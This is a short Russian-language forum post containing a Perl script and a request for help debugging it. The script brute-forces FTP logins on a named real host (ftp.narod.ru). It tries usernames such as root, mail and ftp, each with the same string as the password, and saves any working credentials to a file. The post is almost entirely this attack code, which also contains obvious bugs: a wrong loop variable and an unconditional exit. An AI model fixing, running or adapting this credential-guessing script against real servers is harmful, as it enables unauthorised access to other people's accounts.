Вот написал:
#!/usr/bin/perl
use Net::FTP;
$ftp_serv = "ftp.narod.ru"; #к примеру ftp.narod.ru он то всегда работает
$test = Net::FTP->new($ftp_serv) || die print "FTP server no UP\\n"; exit;
open(OUT,">account.txt");
@login = qw{ root mail gretr ftp login};
for($i=0;$1<=4;$i++)
{
print ("Now $login[$i]\\n");
ftpcon($ftp_serv,$login[$i]);
}
#######################################
sub ftpcon
{
$ftp = Net::FTP->new($_[0]);
if($ftp->login($_[1],$_[1]))
{
print OUT "$_[1]:$_[1]\\n";
}
close($ftp);
}
#######################################
Но скрипт выводит: FTP server no UP
а на самом деле все АП
В чем проблема? Спасибо